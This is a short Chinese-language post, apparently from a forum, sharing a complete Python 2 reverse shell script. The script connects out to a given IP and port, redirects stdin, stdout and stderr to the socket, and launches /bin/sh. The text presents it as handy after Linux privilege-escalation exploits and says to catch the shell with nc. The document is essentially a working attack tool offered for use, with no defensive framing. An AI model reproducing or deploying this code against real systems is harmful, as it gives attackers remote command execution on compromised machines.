|
反弹的shell其实就是bash shell,只不过用Python建立连接,然后通过socket的方式达到交互的目的,Linux溢出提权的时候比较有用。例子有很多,这里分享个简单小巧的。
- #!/usr/bin/python
- import sys,os,socket
- print "----------------------------------------"
- print "| Python Reverse Shell |"
- print "----------------------------------------"
- def usage():
- print "usage: ./shell.py <ip> <port>"
- print "example: ./ shell.py 192.168.1.11 1234"
- def main():
- if len(sys.argv) != 3:
- usage()
- sys.exit()
-
- ip = sys.argv[1]
- port = int(sys.argv[2])
-
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
- try:
- s.connect((ip, port))
- print "[*] Connected success."
- except:
- print "[*] Connect failed(%s:%s)" % (ip, port)
- sys.exit()
-
- s.send("----------------------------------------\n")
- s.send("| Python Reverse Shell |\n")
- s.send("----------------------------------------\n")
- os.dup2(s.fileno(), sys.stdin.fileno())
- os.dup2(s.fileno(), sys.stdout.fileno())
- os.dup2(s.fileno(), sys.stderr.fileno())
- os.system("/bin/sh") #或者/bin/bash
- s.close
- s.send("Bye!")
- if __name__ == "__main__":
- main()
复制代码
反弹以后可用nc等工具连接获得交互式shell |
|